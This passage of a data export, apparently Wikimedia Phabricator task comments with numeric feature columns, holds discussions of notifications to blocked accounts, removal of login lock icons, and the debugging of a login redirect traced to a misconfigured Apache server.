However user talkpage notifications could be still allowed.",,,1423586068,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,75,True,0.0,0.0,0.0,5.0,4.0,3.0,0.0,0.0,0.0,3.0,4.0,3.0,0.0,1.0,0.0,3.0,1.0,10.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,9.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,6.0,6.0,8.0,5.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,5.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,4.207792207792208,0.6753246753246753,"QUOTE
QUOTE

I don't think thats the right way that emailconfirmed should be revoked (as only the merged task title suggests) if the goal is, that the account don't get watchlist notifications. Instead I imagine, when generating the mails, it should be checked if wgBlockDisablesLogin && user is blocked, and not send it.
However user talkpage notifications could be still allowed."
409198,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"What if this task is being done and accounts need to be unblocked? Will the email then automatically be confirmed again? (ie. think about returning OTRS agents, CheckUsers and/or stewards)",,,1423571793,,PHID-USER-b7pgokfca76dam7jq5qd,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,75,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,11.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,11.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.416666666666667,0.9444444444444444,"What if this task is being done and accounts need to be unblocked? Will the email then automatically be confirmed again? (ie. think about returning OTRS agents, CheckUsers and/or stewards)"
234995,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"(In reply to billinghurst from comment #2)
> Presumably not. That is tool that we use and seemingly this report is that
> they still receive notifications.
> 
> Deactivate an account (variation of Special:Block)
> 
> ... deactivated MarcoAurelio (Talk | contribs) with an expiry time of
> infinite (account creation disabled) ...

Nope. That is the normal 'block' option (the block log messages are customized over there).

Deactivation mentioned by Legoktm above is what is done via Special:DissableAccount. However it (is/was?) policy of that wiki not to use that powerful blocking tool unless it was strictly necessary (compromised accounts, etc.) as suggested by WMF because its use was not logged anywhere (cf. bug 32782 - not sure if that's really logged now, there was an ad hoc page created there for that purpose) and because its use is only reversible with system administrator intervention.

It is not rare that some CUs (and happened with stewards as well, tho less frequently) wants to take a break, drops the tools and it's access is removed, and after a couple of months the user regains the tools tho is allowed to have access to the Wiki again. It'd be overkill IMHO to call a sysadmin each time an account needs to be reactivated, when a simple ""unblock"" can be done.

Rename is an option, to free again the name and create a new account under the old name; however his/her former edits will be attributed to their old account, which is not an optimal situation IMHO.

Best regards.",,,1415642745,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,True,,,62,True,0.6666666666666666,0.0,0.0,2.6666666666666665,1.6666666666666667,5.0,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.6666666666666666,1.6666666666666667,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,7.666666666666667,9.333333333333334,0.0,2.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,5.666666666666667,0.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,1.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,14.0,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,6.0,6.666666666666667,8.333333333333334,2.0,1.6666666666666667,9.0,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.0,0.6666666666666666,0.0,3.3333333333333335,9.333333333333334,5.333333333333333,0.3333333333333333,1.3333333333333333,0.0,3.3333333333333335,0.0,1.3333333333333333,3.3333333333333335,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,3.821548017200191,0.6799251473164517,"(In reply to billinghurst from comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Nope. That is the normal 'block' option (the block log messages are customized over there).

Deactivation mentioned by Legoktm above is what is done via Special:DissableAccount. However it (is/was?) policy of that wiki not to use that powerful blocking tool unless it was strictly necessary (compromised accounts, etc.) as suggested by WMF because its use was not logged anywhere (cf. bug 32782 - not sure if that's really logged now, there was an ad hoc page created there for that purpose) and because its use is only reversible with system administrator intervention.

It is not rare that some CUs (and happened with stewards as well, tho less frequently) wants to take a break, drops the tools and it's access is removed, and after a couple of months the user regains the tools tho is allowed to have access to the Wiki again. It'd be overkill IMHO to call a sysadmin each time an account needs to be reactivated, when a simple ""unblock"" can be done.

Rename is an option, to free again the name and create a new account under the old name; however his/her former edits will be attributed to their old account, which is not an optimal situation IMHO.

Best regards."
234990,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"Presumably not. That is tool that we use and seemingly this report is that they still receive notifications.

Deactivate an account (variation of Special:Block)

... deactivated MarcoAurelio (Talk | contribs) with an expiry time of infinite (account creation disabled) ...",,,1404023437,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,17.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,13.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.519230769230769,0.7692307692307693,"Presumably not. That is tool that we use and seemingly this report is that they still receive notifications.

Deactivate an account (variation of Special:Block)

... deactivated MarcoAurelio (Talk | contribs) with an expiry time of infinite (account creation disabled) ..."
234985,Accounts blocked on wikis with wgBlockDisablesLogin enabled should not continue to receive email notifications,"We have the DisableAccount extension for this purpose, which according to <https://noc.wikimedia.org/conf/highlight.php?file=InitialiseSettings.php> is enabled on both stewardwiki and CUwiki.

Is that not sufficient?",,,1404022349,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-cncmgn3somgwerasmpjj,task_subcomment,,True,c2,3,False,,,43,True,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,18.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,11.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,4.464285714285714,1.0,"We have the DisableAccount extension for this purpose, which according to <URL is enabled on both stewardwiki and CUwiki.

Is that not sufficient?"
54282,Remove lock icons on create account and login,"**Author:** `swalling`

**Description:**
Since virtually all modern browsers on desktop and mobile indicate to the user when a connection is HTTPS or not, these icons are redundant.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",High,80.0,1375207800,1394729592.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ngtdxvtq5yhagvhknn55,task_description,resolved,True,c2,1,False,False,False,-5,True,2.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,12.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9152542372881354,0.6949152542372882,"**Author:** CODE

**Description:**
Since virtually all modern browsers on desktop and mobile indicate to the user when a connection is HTTPS or not, these icons are redundant.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
249992,Remove lock icons on create account and login,"**swalling** wrote:

(In reply to Andre Klapper from comment #1)
> swalling: Where can this be seen? Any URL? Still valid?
> 
> Is this general ""MediaWiki > User login and signup"" code, or Wikimedia
> specific?

I think this is resolved.",,,1394729592,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ngtdxvtq5yhagvhknn55,task_subcomment,,True,c2,3,False,,,28,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,9.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0294117647058822,0.7058823529411765,"**swalling** wrote:

(In reply to Andre Klapper from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

I think this is resolved."
249988,Remove lock icons on create account and login,"swalling: Where can this be seen? Any URL? Still valid?

Is this general ""MediaWiki > User login and signup"" code, or Wikimedia specific?",,,1394717163,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ngtdxvtq5yhagvhknn55,task_subcomment,,True,c2,3,True,,,28,True,3.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,25.0,3.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.625,0.84375,"swalling: Where can this be seen? Any URL? Still valid?

Is this general ""MediaWiki > User login and signup"" code, or Wikimedia specific?"
54206,login error - redirected to foundationwiki Special:CentralLogin/start,"While logging into English Wikipedia on Chrome, I was sent to

http://wikimediafoundation.org/wiki/Special:CentralLogin/start?token=<token>
(I can provide the token if it is helpful)

which is an error page:

No such special page
You have requested an invalid special page.
A list of valid special pages can be found at Special pages.
Return to Home.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53498
https://bugzilla.wikimedia.org/show_bug.cgi?id=54195",High,80.0,1375064520,1380561188.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-psc5gjs3ce7jb4yactck,task_description,resolved,True,c2,1,True,False,True,-5,True,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,20.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,5.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.3854166666666665,0.59375,"While logging into English Wikipedia on Chrome, I was sent to

URL
(I can provide the token if it is helpful)

which is an error page:

No such special page
You have requested an invalid special page.
A list of valid special pages can be found at Special pages.
Return to Home.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL"
245849,login error - redirected to foundationwiki Special:CentralLogin/start,"I just spidered all wikis, which has previously been a reliable way to reproduce this. I got no redirects to wikimediafoundation.org. So I think that may have been issue. Thanks!

Closing this for now. If anyone sees this pop up again, please reopen.",,,1380561188,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,4,True,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,10.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,13.0,2.0,0.0,15.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,4.019230769230769,0.7884615384615384,"I just spidered all wikis, which has previously been a reliable way to reproduce this. I got no redirects to wikimediafoundation.org. So I think that may have been issue. Thanks!

Closing this for now. If anyone sees this pop up again, please reopen."
245844,login error - redirected to foundationwiki Special:CentralLogin/start,"I went through the Apache servers with salt to check for existing login.wikimedia.org config and i found one server that was active in load balancing but indeed didn't have a current Apache config.  mw1041 was missing in the dsh group ""apaches"" while it was in other groups (most likely because it had broken hardware in the past). since ""sync-apache"" uses that dsh group to sync it failed to sync mw1041 and with the older config it returned redirects to wikimediafoundation.org not knowing about login.wikimedia.org

i fixed by adding back to dsh groups:

https://gerrit.wikimedia.org/r/#/c/86670/

and resyncing it.

15:30 mutante: sync-apache mw1041 and restart apache, was missing in apaches dsh group 

before:

apache-fast-test login.wm.url mw1041

http://login.wikimedia.org/wiki/
 * 301 Moved Permanently http://wikimediafoundation.org/wiki/

now:

http://login.wikimedia.org/wiki/
 * 301 Moved Permanently http://login.wikimedia.org/wiki/Main_Page",,,1380555406,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,0.0,1.0,7.5,1.0,0.5,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.5,0.0,4.0,10.5,0.0,1.5,0.0,1.0,0.0,6.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,2.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,18.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,2.5,2.0,7.0,1.5,3.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,0.0,4.5,10.5,6.0,0.0,2.0,0.0,4.5,0.0,0.5,0.5,0.0,3.5,0.5,0.5,0.5,4.193364197530864,0.6704475308641975,"I went through the Apache servers with salt to check for existing login.wikimedia.org config and i found one server that was active in load balancing but indeed didn't have a current Apache config.  mw1041 was missing in the dsh group ""apaches"" while it was in other groups (most likely because it had broken hardware in the past). since ""sync-apache"" uses that dsh group to sync it failed to sync mw1041 and with the older config it returned redirects to wikimediafoundation.org not knowing about login.wikimedia.org

i fixed by adding back to dsh groups:

URL

and resyncing it.

15:30 mutante: sync-apache mw1041 and restart apache, was missing in apaches dsh group 

before:

apache-fast-test login.wm.url mw1041

URL
 * 301 Moved Permanently URL

now:

URL
 * 301 Moved Permanently URL"
245838,login error - redirected to foundationwiki Special:CentralLogin/start,"Just for another datapoint, I got this while scanning a bunch of wikis with phantomjs. Complete headers included.


Request: ""https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=aywiki&proto=https&type=script&returnto=Nayriri_u%C3%B1stawi&returntoquery=""
Request Headers:
 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
 Accept: */*
 Referer: http://ay.wikipedia.org/wiki/Nayriri_u%C3%B1stawi
Request Cookies:
  ""domain"":""ay.wikipedia.org"", ""httponly"":false, ""name"":""uls-previous-languages"", ""path"":""/"", ""secure"":false, ""value"":""%5B%22ay%22%5D""
  ""domain"":""ay.wikipedia.org"", ""httponly"":false, ""name"":""mediaWiki.user.sessionId"", ""path"":""/"", ""secure"":false, ""value"":""wAX005sEAH3EMyN5dUEH5UNAcj438xQc""
  ""domain"":""ay.wikipedia.org"", ""expires"":""Fri, 04 Oct 2013 23:56:48 GMT"", ""expiry"":1380931008, ""httponly"":false, ""name"":""centralnotice_bucket"", ""path"":""/"", ""secure"":false, ""value"":""1-4.2""


Redirected (301) to ""http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=aywiki&proto=https&type=script&returnto=Nayriri_u%C3%B1stawi&returntoquery=""

Response Headers:
 Server: nginx/1.1.19
 Date: Fri, 27 Sep 2013 23:56:54 GMT
 Content-Type: text/html; charset=iso-8859-1
 Content-Length: 385
 Connection: keep-alive
 Location: http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=aywiki&proto=https&type=script&returnto=Nayriri_u%25C3%25B1stawi&returntoquery=
 X-Cache: MISS from cp1019.eqiad.wmnet, MISS from cp1016.eqiad.wmnet
 X-Cache-Lookup: HIT from cp1019.eqiad.wmnet:3128, MISS from cp1016.eqiad.wmnet:80


I'll open an RT ticket.. This really looks like either squid or apache doing something wrong.",,,1380328363,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,4.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,8.333333333333334,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,18.666666666666668,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,4.0,0.0,0.6666666666666666,4.0,19.0,0.0,11.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,4.551587301587301,0.5912698412698413,"Just for another datapoint, I got this while scanning a bunch of wikis with phantomjs. Complete headers included.


Request: ""URL
Request Headers:
 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.1 Safari/534.34
 Accept: */*
 Referer: URL
Request Cookies:
  ""domain"":""ay.wikipedia.org"", ""httponly"":false, ""name"":""uls-previous-languages"", ""path"":""/"", ""secure"":false, ""value"":""%5B%22ay%22%5D""
  ""domain"":""ay.wikipedia.org"", ""httponly"":false, ""name"":""mediaWiki.user.sessionId"", ""path"":""/"", ""secure"":false, ""value"":""wAX005sEAH3EMyN5dUEH5UNAcj438xQc""
  ""domain"":""ay.wikipedia.org"", ""expires"":""Fri, 04 Oct 2013 23:56:48 GMT"", ""expiry"":1380931008, ""httponly"":false, ""name"":""centralnotice_bucket"", ""path"":""/"", ""secure"":false, ""value"":""1-4.2""


Redirected (301) to ""URL

Response Headers:
 Server: nginx/1.1.19
 Date: Fri, 27 Sep 2013 23:56:54 GMT
 Content-Type: text/html; charset=iso-8859-1
 Content-Length: 385
 Connection: keep-alive
 Location: URL
 X-Cache: MISS from cp1019.eqiad.wmnet, MISS from cp1016.eqiad.wmnet
 X-Cache-Lookup: HIT from cp1019.eqiad.wmnet:3128, MISS from cp1016.eqiad.wmnet:80


I'll open an RT ticket.. This really looks like either squid or apache doing something wrong."
245832,login error - redirected to foundationwiki Special:CentralLogin/start,"Is this something Ops should be looking into then?  If so, can someone file an RT ticket to make this happen?",,,1379964931,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,3,True,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,16.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,12.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.56,0.92,"Is this something Ops should be looking into then?  If so, can someone file an RT ticket to make this happen?"
245827,login error - redirected to foundationwiki Special:CentralLogin/start,"A quick grep through the extensions in 1.22wmf18 doesn't turn up anything likely-looking. Only one extension uses ""Location:"" (Collection), and that doesn't seem to be doing anything that would force wikimediafoundation.org. Also, I'd expect anything from an extension to at least have the X-Content-Type-Options header set from WebStart.php.


Another data point: The responses quoted in comment 13 are consistent with those returned by Apache's RewriteRule with [R=301], including the Content-Length. For example, this command hits one of those and gives a response with Content-Length 352, just as the first response from comment 13 does:

 curl -kv -H 'Host: bogus.wikimedia.org' 'https://wikimedia-lb.esams.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary'

It seems unlikely that the specific redirect rule that example hits is what's being hit though, that would seem to require there be an apache that never got restarted (or never got its copy of operations/apache-config updated) since Gerrit change 62021 was merged in May.",,,1379962942,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,3,True,0.0,1.5,0.0,1.0,1.0,4.0,0.5,0.0,0.5,0.0,2.0,3.0,0.0,0.5,0.5,0.5,0.0,4.5,11.5,1.5,1.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.5,1.5,0.0,5.0,0.5,1.0,1.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.5,0.5,10.0,2.5,0.5,0.0,0.5,0.0,1.0,0.5,0.0,0.5,0.5,1.0,1.0,0.0,0.5,0.0,0.5,0.0,5.0,3.0,13.0,1.5,1.5,8.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,1.5,11.5,8.0,0.0,2.5,0.0,1.5,0.0,1.5,2.0,0.0,1.5,0.0,0.5,1.0,4.204344624447717,0.7847149168945928,"A quick grep through the extensions in 1.22wmf18 doesn't turn up anything likely-looking. Only one extension uses ""Location:"" (Collection), and that doesn't seem to be doing anything that would force wikimediafoundation.org. Also, I'd expect anything from an extension to at least have the X-Content-Type-Options header set from WebStart.php.


Another data point: The responses quoted in comment 13 are consistent with those returned by Apache's RewriteRule with [R=301], including the Content-Length. For example, this command hits one of those and gives a response with Content-Length 352, just as the first response from comment 13 does:

 curl -kv -H 'Host: bogus.wikimedia.org' 'URL

It seems unlikely that the specific redirect rule that example hits is what's being hit though, that would seem to require there be an apache that never got restarted (or never got its copy of operations/apache-config updated) since Gerrit change 62021 was merged in May."
245821,login error - redirected to foundationwiki Special:CentralLogin/start,"Hi Brad, interesting observation about CentralAuth.  I wonder if there's another extension that's causing issues.  Check this out:
https://login.wikimedia.org/wiki/Special:Version

It seems like one thing we could try is stripping this down to the absolute minimum.",,,1379870511,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,15.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.086956521739131,0.8913043478260869,"Hi Brad, interesting observation about CentralAuth.  I wonder if there's another extension that's causing issues.  Check this out:
URL

It seems like one thing we could try is stripping this down to the absolute minimum."
245814,login error - redirected to foundationwiki Special:CentralLogin/start,"(In reply to comment #13)
> This coincidentally happened in one of the logs posted at bug 54119.

To clarify for the others following: I was not redirected to the wmfwiki page, though such a request happened in the background. I know because I saw that URL, remembered this bug and double-checked.",,,1379545993,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-psc5gjs3ce7jb4yactck,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,13.0,4.0,2.0,13.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,15.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.75,0.8653846153846154,"(In reply to comment #13)
QUOTE

To clarify for the others following: I was not redirected to the wmfwiki page, though such a request happened in the background. I know because I saw that URL, remembered this bug and double-checked."
245809,login error - redirected to foundationwiki Special:CentralLogin/start,"This coincidentally happened in one of the logs posted at bug 54119. The reconstructed headers appear to be as follows (note the ordering of the neaders is probably wrong, due to the way the log is structured).

Request to https://login.wikimedia.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary

 GET /wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikibooks&proto=https&type=1x1&from=itwiktionary HTTP/1.1
 Accept-Encoding: gzip,deflate,sdch
 Host: login.wikimedia.org
 Accept-Language: en,en-US;q=0.8,it-IT;q=0.6,it;q=0.4
 User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/27.0.1453.93 Safari/537.36
 Accept: */*
